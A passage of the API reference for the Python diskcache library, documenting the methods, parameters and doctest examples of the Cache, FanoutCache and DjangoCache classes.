for serialization settings – any of DEFAULT_SETTINGS __iter__ ( ) ¶ Iterate keys in cache including expired items. __len__ ( ) ¶ Count of items in cache including expired items. __reversed__ ( ) ¶ Reverse iterate keys in cache including expired items. __setitem__ ( key , value ) ¶ Set corresponding value for key in cache. Parameters : key – key for item value – value for item Returns : corresponding value Raises : KeyError – if key is not found add ( key , value , expire = None , read = False , tag = None , retry = False ) ¶ Add key and value item to cache. Similar to set , but only add to cache if key not present. Operation is atomic. Only one concurrent add operation for a given key will succeed. When read is True , value should be a file-like object opened for reading in binary mode. Raises Timeout error when database timeout occurs and retry is False (default). Parameters : key – key for item value – value for item expire ( float ) – seconds until the key expires (default None, no expiry) read ( bool ) – read value as bytes from file (default False) tag ( str ) – text to associate with key (default None) retry ( bool ) – retry if database timeout occurs (default False) Returns : True if item was added Raises : Timeout – if database timeout occurs check ( fix = False , retry = False ) ¶ Check database and file system consistency. Intended for use in testing and post-mortem error analysis. While checking the Cache table for consistency, a writer lock is held on the database. The lock blocks other cache clients from writing to the database. For caches with many file references, the lock may be held for a long time. For example, local benchmarking shows that a cache with 1,000 file references takes ~60ms to check. Raises Timeout error when database timeout occurs and retry is False (default). Parameters : fix ( bool ) – correct inconsistencies retry ( bool ) – retry if database timeout occurs (default False) Returns : list of warnings Raises : Timeout – if database timeout occurs clear ( retry = False ) ¶ Remove all items from cache. Removing items is an iterative process. In each iteration, a subset of items is removed. Concurrent writes may occur between iterations. If a Timeout occurs, the first element of the exception’s args attribute will be the number of items removed before the exception occurred. Raises Timeout error when database timeout occurs and retry is False (default). Parameters : retry ( bool ) – retry if database timeout occurs (default False) Returns : count of rows removed Raises : Timeout – if database timeout occurs close ( ) ¶ Close database connection. create_tag_index ( ) ¶ Create tag index on cache database. It is better to initialize cache with tag_index=True than use this. Raises : Timeout – if database timeout occurs cull ( retry = False ) ¶ Cull items from cache until volume is less than size limit. Removing items is an iterative process. In each iteration, a subset of items is removed. Concurrent writes may occur between iterations. If a Timeout occurs, the first element of the exception’s args attribute will be the number of items removed before the exception occurred. Raises Timeout error when database timeout occurs and retry is False (default). Parameters : retry ( bool ) – retry if database timeout occurs (default False) Returns : count of items removed Raises : Timeout – if database timeout occurs decr ( key , delta = 1 , default = 0 , retry = False ) ¶ Decrement value by delta for item with key. If key is missing and default is None then raise KeyError. Else if key is missing and default is not None then use default for value. Operation is atomic. All concurrent decrement operations will be counted individually. Unlike Memcached, negative values are supported. Value may be decremented below zero. Assumes value may be stored in a SQLite column. Most builds that target machines with 64-bit pointer widths will support 64-bit signed integers. Raises Timeout error when database timeout occurs and retry is False (default). Parameters : key – key for item delta ( int ) – amount to decrement (default 1) default ( int ) – value if key is missing (default 0) retry ( bool ) – retry if database timeout occurs (default False) Returns : new value for item Raises : KeyError – if key is not found and default is None Timeout – if database timeout occurs delete ( key , retry = False ) ¶ Delete corresponding item for key from cache. Missing keys are ignored. Raises Timeout error when database timeout occurs and retry is False (default). Parameters : key – key matching item retry ( bool ) – retry if database timeout occurs (default False) Returns : True if item was deleted Raises : Timeout – if database timeout occurs property directory ¶ Cache directory. property disk ¶ Disk used for serialization. drop_tag_index ( ) ¶ Drop tag index on cache database. Raises : Timeout – if database timeout occurs evict ( tag , retry = False ) ¶ Remove items with matching tag from cache. Removing items is an iterative process. In each iteration, a subset of items is removed. Concurrent writes may occur between iterations. If a Timeout occurs, the first element of the exception’s args attribute will be the number of items removed before the exception occurred. Raises Timeout error when database timeout occurs and retry is False (default). Parameters : tag ( str ) – tag identifying items retry ( bool ) – retry if database timeout occurs (default False) Returns : count of rows removed Raises : Timeout – if database timeout occurs expire ( now = None , retry = False ) ¶ Remove expired items from cache. Removing items is an iterative process. In each iteration, a subset of items is removed. Concurrent writes may occur between iterations. If a Timeout occurs, the first element of the exception’s args attribute will be the number of items removed before the exception occurred. Raises Timeout error when database timeout occurs and retry is False (default). Parameters : now ( float ) – current time (default None, time.time() used) retry ( bool ) – retry if database timeout occurs (default False) Returns : count of items removed Raises : Timeout – if database timeout occurs get ( key , default = None , read = False , expire_time = False , tag = False , retry = False ) ¶ Retrieve value from cache. If key is missing, return default . Raises Timeout error when database timeout occurs and retry is False (default). Parameters : key – key for item default – value to return if key is missing (default None) read ( bool ) – if True, return file handle to value (default False) expire_time ( bool ) – if True, return expire_time in tuple (default False) tag ( bool ) – if True, return tag in tuple (default False) retry ( bool ) – retry if database timeout occurs (default False) Returns : value for item or default if key not found Raises : Timeout – if database timeout occurs incr ( key , delta = 1 , default = 0 , retry = False ) ¶ Increment value by delta for item with key. If key is missing and default is None then raise KeyError. Else if key is missing and default is not None then use default for value. Operation is atomic. All concurrent increment operations will be counted individually. Assumes value may be stored in a SQLite column. Most builds that target machines with 64-bit pointer widths will support 64-bit signed integers. Raises Timeout error when database timeout occurs and retry is False (default). Parameters : key – key for item delta ( int ) – amount to increment (default 1) default ( int ) – value if key is missing (default 0) retry ( bool ) – retry if database timeout occurs (default False) Returns : new value for item Raises : KeyError – if key is not found and default is None Timeout – if database timeout occurs iterkeys ( reverse = False ) ¶ Iterate Cache keys in database sort order. >>> cache = Cache () >>> for key in [ 4 , 1 , 3 , 0 , 2 ]: ... cache [ key ] = key >>> list ( cache . iterkeys ()) [0, 1, 2, 3, 4] >>> list ( cache . iterkeys ( reverse = True )) [4, 3, 2, 1, 0] Parameters : reverse ( bool ) – reverse sort order (default False) Returns : iterator of Cache keys memoize ( name = None , typed = False , expire = None , tag = None , ignore = () ) ¶ Memoizing cache decorator. Decorator to wrap callable with memoizing function using cache. Repeated calls with the same arguments will lookup result in cache and avoid function evaluation. If name is set to None (default), the callable name will be determined automatically. When expire is set to zero, function results will not be set in the cache. Cache lookups still occur, however. Read Case Study: Landing Page Caching for example usage. If typed is set to True, function arguments of different types will be cached separately. For example, f(3) and f(3.0) will be treated as distinct calls with distinct results. The original underlying function is accessible through the __wrapped__ attribute. This is useful for introspection, for bypassing the cache, or for rewrapping the function with a different cache. >>> from diskcache import Cache >>> cache = Cache () >>> @cache . memoize ( expire = 1 , tag = 'fib' ) ... def fibonacci ( number ): ... if number == 0 : ... return 0 ... elif number == 1 : ... return 1 ... else : ... return fibonacci ( number - 1 ) + fibonacci ( number - 2 ) >>> print ( fibonacci ( 100 )) 354224848179261915075 An additional __cache_key__ attribute can be used to generate the cache key used for the given arguments. >>> key = fibonacci . __cache_key__ ( 100 ) >>> print ( cache [ key ]) 354224848179261915075 Remember to call memoize when decorating a callable. If you forget, then a TypeError will occur. Note the lack of parenthenses after memoize below: >>> @cache . memoize ... def test (): ... pass Traceback (most recent call last): ... TypeError : name cannot be callable Parameters : cache – cache to store callable arguments and return values name ( str ) – name given for callable (default None, automatic) typed ( bool ) – cache different types separately (default False) expire ( float ) – seconds until arguments expire (default None, no expiry) tag ( str ) – text to associate with arguments (default None) ignore ( set ) – positional or keyword args to ignore (default ()) Returns : callable decorator peek ( prefix = None , default = (None, None) , side = 'front' , expire_time = False , tag = False , retry = False ) ¶ Peek at key and value item pair from side of queue in cache. When prefix is None, integer keys are used. Otherwise, string keys are used in the format “prefix-integer”. Integer starts at 500 trillion. If queue is empty, return default. Defaults to peeking at key and value item pairs from front of queue. Set side to ‘back’ to pull from back of queue. Side must be one of ‘front’ or ‘back’. Expired items are deleted from cache. Operation is atomic. Concurrent operations will be serialized. Raises Timeout error when database timeout occurs and retry is False (default). See also Cache.pull and Cache.push . >>> cache = Cache () >>> for letter in 'abc' : ... print ( cache . push ( letter )) 500000000000000 500000000000001 500000000000002 >>> key , value = cache . peek () >>> print ( key ) 500000000000000 >>> value 'a' >>> key , value = cache . peek ( side = 'back' ) >>> print ( key ) 500000000000002 >>> value 'c' Parameters : prefix ( str ) – key prefix (default None, key is integer) default – value to return if key is missing (default (None, None)) side ( str ) – either ‘front’ or ‘back’ (default ‘front’) expire_time ( bool ) – if True, return expire_time in tuple (default False) tag ( bool ) – if True, return tag in tuple (default False) retry ( bool ) – retry if database timeout occurs (default False) Returns : key and value item pair or default if queue is empty Raises : Timeout – if database timeout occurs peekitem ( last = True , expire_time = False , tag = False , retry = False ) ¶ Peek at key and value item pair in cache based on iteration order. Expired items are deleted from cache. Operation is atomic. Concurrent operations will be serialized. Raises Timeout error when database timeout occurs and retry is False (default). >>> cache = Cache () >>> for num , letter in enumerate ( 'abc' ): ... cache [ letter ] = num >>> cache . peekitem () ('c', 2) >>> cache . peekitem ( last = False ) ('a', 0) Parameters : last ( bool ) – last item in iteration order (default True) expire_time ( bool ) – if True, return expire_time in tuple (default False) tag ( bool ) – if True, return tag in tuple (default False) retry ( bool ) – retry if database timeout occurs (default False) Returns : key and value item pair Raises : KeyError – if cache is empty Timeout – if database timeout occurs pop ( key , default = None , expire_time = False , tag = False , retry = False ) ¶ Remove corresponding item for key from cache and return value. If key is missing, return default . Operation is atomic. Concurrent operations will be serialized. Raises Timeout error when database timeout occurs and retry is False (default). Parameters : key – key for item default – value to return if key is missing (default None) expire_time ( bool ) – if True, return expire_time in tuple (default False) tag ( bool ) – if True, return tag in tuple (default False) retry ( bool ) – retry if database timeout occurs (default False) Returns : value for item or default if key not found Raises : Timeout – if database timeout occurs pull ( prefix = None , default = (None, None) , side = 'front' , expire_time = False , tag = False , retry = False ) ¶ Pull key and value item pair from side of queue in cache. When prefix is None, integer keys are used. Otherwise, string keys are used in the format “prefix-integer”. Integer starts at 500 trillion. If queue is empty, return default. Defaults to pulling key and value item pairs from front of queue. Set side to ‘back’ to pull from back of queue. Side must be one of ‘front’ or ‘back’. Operation is atomic. Concurrent operations will be serialized. Raises Timeout error when database timeout occurs and retry is False (default). See also Cache.push and Cache.get . >>> cache = Cache () >>> cache . pull () (None, None) >>> for letter in 'abc' : ... print ( cache . push ( letter )) 500000000000000 500000000000001 500000000000002 >>> key , value = cache . pull () >>> print ( key ) 500000000000000 >>> value 'a' >>> _ , value = cache . pull ( side = 'back' ) >>> value 'c' >>> cache . push ( 1234 , 'userids' ) 'userids-500000000000000' >>> _ , value = cache . pull ( 'userids' ) >>> value 1234 Parameters : prefix ( str ) – key prefix (default None, key is integer) default – value to return if key is missing (default (None, None)) side ( str ) – either ‘front’ or ‘back’ (default ‘front’) expire_time ( bool ) – if True, return expire_time in tuple (default False) tag ( bool ) – if True, return tag in tuple (default False) retry ( bool ) – retry if database timeout occurs (default False) Returns : key and value item pair or default if queue is empty Raises : Timeout – if database timeout occurs push ( value , prefix = None , side = 'back' , expire = None , read = False , tag = None , retry = False ) ¶ Push value onto side of queue identified by prefix in cache. When prefix is None, integer keys are used. Otherwise, string keys are used in the format “prefix-integer”. Integer starts at 500 trillion. Defaults to pushing value on back of queue. Set side to ‘front’ to push value on front of queue. Side must be one of ‘back’ or ‘front’. Operation is atomic. Concurrent operations will be serialized. When read is True , value should be a file-like object opened for reading in binary mode. Raises Timeout error when database timeout occurs and retry is False (default). See also Cache.pull . >>> cache = Cache () >>> print ( cache . push ( 'first value' )) 500000000000000 >>> cache . get ( 500000000000000 ) 'first value' >>> print ( cache . push ( 'second value' )) 500000000000001 >>> print ( cache . push ( 'third value' , side = 'front' )) 499999999999999 >>> cache . push ( 1234 , prefix = 'userids' ) 'userids-500000000000000' Parameters : value – value for item prefix ( str ) – key prefix (default None, key is integer) side ( str ) – either ‘back’ or ‘front’ (default ‘back’) expire ( float ) – seconds until the key expires (default None, no expiry) read ( bool ) – read value as bytes from file (default False) tag ( str ) – text to associate with key (default None) retry ( bool ) – retry if database timeout occurs (default False) Returns : key for item in cache Raises : Timeout – if database timeout occurs read ( key , retry = False ) ¶ Return file handle value corresponding to key from cache. Raises Timeout error when database timeout occurs and retry is False (default). Parameters : key – key matching item retry ( bool ) – retry if database timeout occurs (default False) Returns : file open for reading in binary mode Raises : KeyError – if key is not found Timeout – if database timeout occurs reset ( key , value = ENOVAL , update = True ) ¶ Reset key and value item from Settings table. Use reset to update the value of Cache settings correctly. Cache settings are stored in the Settings table of the SQLite database. If update is False then no attempt is made to update the database. If value is not given, it is reloaded from the Settings table. Otherwise, the Settings table is updated. Settings with the disk_ prefix correspond to Disk attributes. Updating the value will change the unprefixed attribute on the associated Disk instance. Settings with the sqlite_ prefix correspond to SQLite pragmas. Updating the value will execute the corresponding PRAGMA statement. SQLite PRAGMA statements may be executed before the Settings table exists in the database by setting update to False . Parameters : key ( str ) – Settings key for item value – value for item (optional) update ( bool ) – update database Settings table (default True) Returns : updated value for item Raises : Timeout – if database timeout occurs set ( key , value , expire = None , read = False , tag = None , retry = False ) ¶ Set key and value item in cache. When read is True , value should be a file-like object opened for reading in binary mode. Raises Timeout error when database timeout occurs and retry is False (default). Parameters : key – key for item value – value for item expire ( float ) – seconds until item expires (default None, no expiry) read ( bool ) – read value as bytes from file (default False) tag ( str ) – text to associate with key (default None) retry ( bool ) – retry if database timeout occurs (default False) Returns : True if item was set Raises : Timeout – if database timeout occurs stats ( enable = True , reset = False ) ¶ Return cache statistics hits and misses. Parameters : enable ( bool ) – enable collecting statistics (default True) reset ( bool ) – reset hits and misses to 0 (default False) Returns : (hits, misses) property timeout ¶ SQLite connection timeout value in seconds. touch ( key , expire = None , retry = False ) ¶ Touch key in cache and update expire time. Raises Timeout error when database timeout occurs and retry is False (default). Parameters : key – key for item expire ( float ) – seconds until item expires (default None, no expiry) retry ( bool ) – retry if database timeout occurs (default False) Returns : True if key was touched Raises : Timeout – if database timeout occurs transact ( retry = False ) ¶ Context manager to perform a transaction by locking the cache. While the cache is locked, no other write operation is permitted. Transactions should therefore be as short as possible. Read and write operations performed in a transaction are atomic. Read operations may occur concurrent to a transaction. Transactions may be nested and may not be shared between threads. Raises Timeout error when database timeout occurs and retry is False (default). >>> cache = Cache () >>> with cache . transact (): # Atomically increment two keys. ... _ = cache . incr ( 'total' , 123.4 ) ... _ = cache . incr ( 'count' , 1 ) >>> with cache . transact (): # Atomically calculate average. ... average = cache [ 'total' ] / cache [ 'count' ] >>> average 123.4 Parameters : retry ( bool ) – retry if database timeout occurs (default False) Returns : context manager for use in with statement Raises : Timeout – if database timeout occurs volume ( ) ¶ Return estimated total size of cache on disk. Returns : size in bytes FanoutCache ¶ Read the FanoutCache tutorial for example usage. class diskcache. FanoutCache ( directory=None , shards=8 , timeout=0.01 , disk=<class 'diskcache.core.Disk'> , **settings ) ¶ Cache that shards keys and values. __contains__ ( key ) ¶ Return True if key matching item is found in cache. Parameters : key – key for item Returns : True if key is found __delitem__ ( key ) ¶ Delete corresponding item for key from cache. Calls FanoutCache.delete() internally with retry set to True . Parameters : key – key for item Raises : KeyError – if key is not found __getitem__ ( key ) ¶ Return corresponding value for key from cache. Calls FanoutCache.get() internally with retry set to True . Parameters : key – key for item Returns : value for item Raises : KeyError – if key is not found __getstate__ ( ) ¶ Helper for pickle. __init__ ( directory=None , shards=8 , timeout=0.01 , disk=<class 'diskcache.core.Disk'> , **settings ) ¶ Initialize cache instance. Parameters : directory ( str ) – cache directory shards ( int ) – number of shards to distribute writes timeout ( float ) – SQLite connection timeout disk – Disk instance for serialization settings – any of DEFAULT_SETTINGS __iter__ ( ) ¶ Iterate keys in cache including expired items. __len__ ( ) ¶ Count of items in cache including expired items. __reversed__ ( ) ¶ Reverse iterate keys in cache including expired items. __setitem__ ( key , value ) ¶ Set key and value item in cache. Calls FanoutCache.set() internally with retry set to True . Parameters : key – key for item value – value for item add ( key , value , expire = None , read = False , tag = None , retry = False ) ¶ Add key and value item to cache. Similar to set , but only add to cache if key not present. This operation is atomic. Only one concurrent add operation for given key from separate threads or processes will succeed. When read is True , value should be a file-like object opened for reading in binary mode. If database timeout occurs then fails silently unless retry is set to True (default False ). Parameters : key – key for item value – value for item expire ( float ) – seconds until the key expires (default None, no expiry) read ( bool ) – read value as bytes from file (default False) tag ( str ) – text to associate with key (default None) retry ( bool ) – retry if database timeout occurs (default False) Returns : True if item was added cache ( name , timeout = 60 , disk = None , ** settings ) ¶ Return Cache with given name in subdirectory. If disk is none (default), uses the fanout cache disk. >>> fanout_cache = FanoutCache () >>> cache = fanout_cache . cache ( 'test' ) >>> cache . set ( 'abc' , 123 ) True >>> cache . get ( 'abc' ) 123 >>> len ( cache ) 1 >>> cache . delete ( 'abc' ) True Parameters : name ( str ) – subdirectory name for Cache timeout ( float ) – SQLite connection timeout disk – Disk type or subclass for serialization settings – any of DEFAULT_SETTINGS Returns : Cache with given name check ( fix = False , retry = False ) ¶ Check database and file system consistency. Intended for use in testing and post-mortem error analysis. While checking the cache table for consistency, a writer lock is held on the database. The lock blocks other cache clients from writing to the database. For caches with many file references, the lock may be held for a long time. For example, local benchmarking shows that a cache with 1,000 file references takes ~60ms to check. If database timeout occurs then fails silently unless retry is set to True (default False ). Parameters : fix ( bool ) – correct inconsistencies retry ( bool ) – retry if database timeout occurs (default False) Returns : list of warnings Raises : Timeout – if database timeout occurs clear ( retry = False ) ¶ Remove all items from cache. If database timeout occurs then fails silently unless retry is set to True (default False ). Parameters : retry ( bool ) – retry if database timeout occurs (default False) Returns : count of items removed close ( ) ¶ Close database connection. create_tag_index ( ) ¶ Create tag index on cache database. Better to initialize cache with tag_index=True than use this. Raises : Timeout – if database timeout occurs cull ( retry = False ) ¶ Cull items from cache until volume is less than size limit. If database timeout occurs then fails silently unless retry is set to True (default False ). Parameters : retry ( bool ) – retry if database timeout occurs (default False) Returns : count of items removed decr ( key , delta = 1 , default = 0 , retry = False ) ¶ Decrement value by delta for item with key. If key is missing and default is None then raise KeyError. Else if key is missing and default is not None then use default for value. Operation is atomic. All concurrent decrement operations will be counted individually. Unlike Memcached, negative values are supported. Value may be decremented below zero. Assumes value may be stored in a SQLite column. Most builds that target machines with 64-bit pointer widths will support 64-bit signed integers. If database timeout occurs then fails silently unless retry is set to True (default False ). Parameters : key – key for item delta ( int ) – amount to decrement (default 1) default ( int ) – value if key is missing (default 0) retry ( bool ) – retry if database timeout occurs (default False) Returns : new value for item on success else None Raises : KeyError – if key is not found and default is None delete ( key , retry = False ) ¶ Delete corresponding item for key from cache. Missing keys are ignored. If database timeout occurs then fails silently unless retry is set to True (default False ). Parameters : key – key for item retry ( bool ) – retry if database timeout occurs (default False) Returns : True if item was deleted deque ( name , maxlen = None ) ¶ Return Deque with given name in subdirectory. >>> cache = FanoutCache () >>> deque = cache . deque ( 'test' ) >>> deque . extend ( 'abc' ) >>> deque . popleft () 'a' >>> deque . pop () 'c' >>> len ( deque ) 1 Parameters : name ( str ) – subdirectory name for Deque maxlen – max length (default None, no max) Returns : Deque with given name property directory ¶ Cache directory. drop_tag_index ( ) ¶ Drop tag index on cache database. Raises : Timeout – if database timeout occurs evict ( tag , retry = False ) ¶ Remove items with matching tag from cache. If database timeout occurs then fails silently unless retry is set to True (default False ). Parameters : tag ( str ) – tag identifying items retry ( bool ) – retry if database timeout occurs (default False) Returns : count of items removed expire ( retry = False ) ¶ Remove expired items from cache. If database timeout occurs then fails silently unless retry is set to True (default False ). Parameters : retry ( bool ) – retry if database timeout occurs (default False) Returns : count of items removed get ( key , default = None , read = False , expire_time = False , tag = False , retry = False ) ¶ Retrieve value from cache. If key is missing, return default . If database timeout occurs then returns default unless retry is set to True (default False ). Parameters : key – key for item default – return value if key is missing (default None) read ( bool ) – if True, return file handle to value (default False) expire_time ( float ) – if True, return expire_time in tuple (default False) tag – if True, return tag in tuple (default False) retry ( bool ) – retry if database timeout occurs (default False) Returns : value for item if key is found else default incr ( key , delta = 1 , default = 0 , retry = False ) ¶ Increment value by delta for item with key. If key is missing and default is None then raise KeyError. Else if key is missing and default is not None then use default for value. Operation is atomic. All concurrent increment operations will be counted individually. Assumes value may be stored in a SQLite column. Most builds that target machines with 64-bit pointer widths will support 64-bit signed integers. If database timeout occurs then fails silently unless retry is set to True (default False ). Parameters : key – key for item delta ( int ) – amount to increment (default 1) default ( int ) – value if key is missing (default 0) retry ( bool ) – retry if database timeout occurs (default False) Returns : new value for item on success else None Raises : KeyError – if key is not found and default is None index ( name ) ¶ Return Index with given name in subdirectory. >>> cache = FanoutCache () >>> index = cache . index ( 'test' ) >>> index [ 'abc' ] = 123 >>> index [ 'def' ] = 456 >>> index [ 'ghi' ] = 789 >>> index . popitem () ('ghi', 789) >>> del index [ 'abc' ] >>> len ( index ) 1 >>> index [ 'def' ] 456 Parameters : name ( str ) – subdirectory name for Index Returns : Index with given name memoize ( name = None , typed = False , expire = None , tag = None , ignore = () ) ¶ Memoizing cache decorator. Decorator to wrap callable with memoizing function using cache. Repeated calls with the same arguments will lookup result in cache and avoid function evaluation. If name is set to None (default), the callable name will be determined automatically. When expire is set to zero, function results will not be set in the cache. Cache lookups still occur, however. Read Case Study: Landing Page Caching for example usage. If typed is set to True, function arguments of different types will be cached separately. For example, f(3) and f(3.0) will be treated as distinct calls with distinct results. The original underlying function is accessible through the __wrapped__ attribute. This is useful for introspection, for bypassing the cache, or for rewrapping the function with a different cache. >>> from diskcache import Cache >>> cache = Cache () >>> @cache . memoize ( expire = 1 , tag = 'fib' ) ... def fibonacci ( number ): ... if number == 0 : ... return 0 ... elif number == 1 : ... return 1 ... else : ... return fibonacci ( number - 1 ) + fibonacci ( number - 2 ) >>> print ( fibonacci ( 100 )) 354224848179261915075 An additional __cache_key__ attribute can be used to generate the cache key used for the given arguments. >>> key = fibonacci . __cache_key__ ( 100 ) >>> print ( cache [ key ]) 354224848179261915075 Remember to call memoize when decorating a callable. If you forget, then a TypeError will occur. Note the lack of parenthenses after memoize below: >>> @cache . memoize ... def test (): ... pass Traceback (most recent call last): ... TypeError : name cannot be callable Parameters : cache – cache to store callable arguments and return values name ( str ) – name given for callable (default None, automatic) typed ( bool ) – cache different types separately (default False) expire ( float ) – seconds until arguments expire (default None, no expiry) tag ( str ) – text to associate with arguments (default None) ignore ( set ) – positional or keyword args to ignore (default ()) Returns : callable decorator pop ( key , default = None , expire_time = False , tag = False , retry = False ) ¶ Remove corresponding item for key from cache and return value. If key is missing, return default . Operation is atomic. Concurrent operations will be serialized. If database timeout occurs then fails silently unless retry is set to True (default False ). Parameters : key – key for item default – return value if key is missing (default None) expire_time ( float ) – if True, return expire_time in tuple (default False) tag – if True, return tag in tuple (default False) retry ( bool ) – retry if database timeout occurs (default False) Returns : value for item if key is found else default read ( key ) ¶ Return file handle corresponding to key from cache. Parameters : key – key for item Returns : file open for reading in binary mode Raises : KeyError – if key is not found reset ( key , value = ENOVAL ) ¶ Reset key and value item from Settings table. If value is not given, it is reloaded from the Settings table. Otherwise, the Settings table is updated. Settings attributes on cache objects are lazy-loaded and read-only. Use reset to update the value. Settings with the sqlite_ prefix correspond to SQLite pragmas. Updating the value will execute the corresponding PRAGMA statement. Parameters : key ( str ) – Settings key for item value – value for item (optional) Returns : updated value for item set ( key , value , expire = None , read = False , tag = None , retry = False ) ¶ Set key and value item in cache. When read is True , value should be a file-like object opened for reading in binary mode. If database timeout occurs then fails silently unless retry is set to True (default False ). Parameters : key – key for item value – value for item expire ( float ) – seconds until the key expires (default None, no expiry) read ( bool ) – read value as raw bytes from file (default False) tag ( str ) – text to associate with key (default None) retry ( bool ) – retry if database timeout occurs (default False) Returns : True if item was set stats ( enable = True , reset = False ) ¶ Return cache statistics hits and misses. Parameters : enable ( bool ) – enable collecting statistics (default True) reset ( bool ) – reset hits and misses to 0 (default False) Returns : (hits, misses) touch ( key , expire = None , retry = False ) ¶ Touch key in cache and update expire time. If database timeout occurs then fails silently unless retry is set to True (default False ). Parameters : key – key for item expire ( float ) – seconds until the key expires (default None, no expiry) retry ( bool ) – retry if database timeout occurs (default False) Returns : True if key was touched transact ( retry = True ) ¶ Context manager to perform a transaction by locking the cache. While the cache is locked, no other write operation is permitted. Transactions should therefore be as short as possible. Read and write operations performed in a transaction are atomic. Read operations may occur concurrent to a transaction. Transactions may be nested and may not be shared between threads. Blocks until transactions are held on all cache shards by retrying as necessary. >>> cache = FanoutCache () >>> with cache . transact (): # Atomically increment two keys. ... _ = cache . incr ( 'total' , 123.4 ) ... _ = cache . incr ( 'count' , 1 ) >>> with cache . transact (): # Atomically calculate average. ... average = cache [ 'total' ] / cache [ 'count' ] >>> average 123.4 Returns : context manager for use in with statement volume ( ) ¶ Return estimated total size of cache on disk. Returns : size in bytes DjangoCache ¶ Read the DjangoCache tutorial for example usage. class diskcache. DjangoCache ( directory , params ) ¶ Django-compatible disk and file backed cache. __init__ ( directory , params ) ¶ Initialize DjangoCache instance. Parameters : directory ( str ) – cache directory params ( dict ) – cache parameters add ( key , value , timeout=<object object> , version=None , read=False , tag=None , retry=True ) ¶ Set a value in the cache if the key does not already exist. If timeout is given, that timeout will be used for the key; otherwise the default cache timeout will be used. Return True if the value was stored, False otherwise. Parameters : key – key for item value – value for item timeout ( float ) – seconds until the item expires (default 300 seconds) version ( int ) – key version number (default None, cache parameter) read ( bool ) – read value as bytes from file (default False) tag ( str ) – text to associate with key (default None) retry ( bool ) – retry if database timeout occurs (default True) Returns : True if item was added cache ( name ) ¶ Return Cache with given name in subdirectory. Parameters : name ( str ) – subdirectory name for Cache Returns : Cache with given name clear ( ) ¶ Remove all values from the cache at once. close ( ** kwargs ) ¶ Close the cache connection. create_tag_index ( ) ¶ Create tag index on cache database. Better to initialize cache with tag_index=True than use this. Raises : Timeout – if database timeout occurs cull ( ) ¶ Cull items from cache until volume is less than size limit. Returns : count of items removed decr ( key , delta = 1 , version = None , default = None , retry = True ) ¶ Decrement value by delta for item with key. If key is missing and default is None then raise KeyError. Else if key is missing and default is not None then use default for value. Operation is atomic. All concurrent decrement operations will be counted individually. Unlike Memcached, negative values are supported. Value may be decremented below zero. Assumes value may be stored in a SQLite column. Most builds that target machines with 64-bit pointer widths will support 64-bit signed integers. Parameters : key – key for item delta ( int ) – amount to decrement (default 1) version ( int ) – key version number (default None, cache parameter) default ( int ) – value if key is missing (default None) retry ( bool ) – retry if database timeout occurs (default True) Returns : new value for item on success else None Raises : ValueError – if key is not found and default is None delete ( key , version = None , retry = True ) ¶ Delete a key from the cache, failing silently. Parameters : key – key for item version ( int ) – key version number (default None, cache parameter) retry ( bool ) – retry if database timeout occurs (default True) Returns : True if item was deleted deque ( name , maxlen = None ) ¶ Return Deque with given name in subdirectory. Parameters : name ( str ) – subdirectory name for Deque maxlen – max length (default None, no max) Returns : Deque with given name property directory ¶ Cache directory. drop_tag_index ( ) ¶ Drop tag index on cache database. Raises : Timeout – if database timeout occurs evict ( tag ) ¶ Remove items with matching tag from cache. Parameters : tag ( str ) – tag identifying items Returns : count of items removed expire ( ) ¶ Remove expired items from cache. Returns : count of items removed get ( key , default = None , version = None , read = False , expire_time = False , tag = False , retry = False ) ¶ Fetch a given key from the cache. If the key does not exist, return default, which itself defaults to None. Parameters : key – key for item default – return value if key is missing (default None) version ( int ) – key version number (default None, cache parameter) read ( bool ) – if True, return file handle to value (default False) expire_time ( float ) – if True, return expire_time in tuple (default False) tag – if True, return tag in tuple (default False) retry ( bool ) – retry if database timeout occurs (default False) Returns : value for item if key is found else default get_backend_timeout ( timeout=<object object> ) ¶ Return seconds to expiration. Parameters : timeout ( float ) – seconds until the item expires (default 300 seconds) has_key ( key , version = None ) ¶ Returns True if the key is in the cache and has not expired. Parameters : key – key for item version ( int ) – key version number (default None, cache parameter) Returns : True if key is found incr ( key , delta = 1 , version = None , default = None , retry = True ) ¶ Increment value by delta for item with key. If key is missing and default is None then raise KeyError. Else if key is missing and default is not None then use default for value. Operation is atomic. All concurrent increment operations will be counted individually. Assumes value may be stored in a SQLite column. Most builds that target machines with 64-bit pointer widths will support 64-bit signed integers. Parameters : key – key for item delta ( int ) – amount to increment (default 1) version ( int ) – key version number (default None, cache parameter) default ( int ) – value if key is missing (default None) retry ( bool ) – retry if database timeout occurs (default True) Returns : new value for item on success else None Raises : ValueError – if key is not found and default is None index ( name ) ¶ Return Index with given name in subdirectory. Parameters : name ( str ) – subdirectory name for Index Returns : Index with given name memoize ( name=None , timeout=<object object> , version=None , typed=False , tag=None , ignore=() ) ¶ Memoizing cache decorator. Decorator to wrap callable with memoizing function using cache. Repeated calls with the same arguments will lookup result in cache and avoid function evaluation. If name is set to None (default), the callable name will be determined automatically. When timeout is set to zero, function results will not be set in the cache. Cache lookups still occur, however. Read Case Study: Landing Page Caching for example usage. If typed is set to True, function arguments of different types will be cached separately. For example, f(3) and f(3.0) will be treated as distinct calls with distinct results. The original underlying function is accessible through the __wrapped__ attribute. This is useful for introspection, for bypassing the cache, or for rewrapping the function with a different cache. An additional __cache_key__ attribute can be used to generate the cache key used for the given arguments. Remember to call memoize when decorating a callable. If you forget, then a TypeError will occur. Parameters : name ( str ) – name given for callable (default None, automatic) timeout ( float ) – seconds until the item expires (default 300 seconds) version ( int ) – key version number (default None, cache parameter) typed ( bool ) – cache different types separately (default False) tag ( str ) – text to associate with arguments (default None) ignore ( set ) – positional or keyword args to ignore (default ()) Returns : callable decorator pop ( key , default = None , version = None , expire_time = False , tag = False , retry = True ) ¶ Remove corresponding item for key from cache and return value. If key is missing, return default . Operation is atomic. Concurrent operations will be serialized. Parameters : key – key for item default – return value if key is missing (default None) version ( int ) – key version number (default None, cache parameter) expire_time ( float ) – if True, return expire_time in tuple (default False) tag – if True, return tag in tuple (default False) retry ( bool ) – retry if database timeout occurs (default True) Returns : value for item if key is found else default read ( key , version = None ) ¶ Return file handle corresponding to key from Cache. Parameters : key – Python key to retrieve version ( int ) – key version number (default None, cache parameter) Returns : file open for reading in binary mode Raises : KeyError – if key is not found set ( key , value , timeout=<object object> , version=None , read=False , tag=None , retry=True ) ¶ Set a value in the cache. If timeout is given, that timeout will be used for the key; otherwise the default cache timeout will be used. Parameters : key – key for item value – value for item timeout ( float ) – seconds until the item expires (default 300 seconds) version ( int ) – key version number (default None, cache parameter) read ( bool ) – read value as bytes from file (default False) tag ( str ) – text to associate with key (default None) 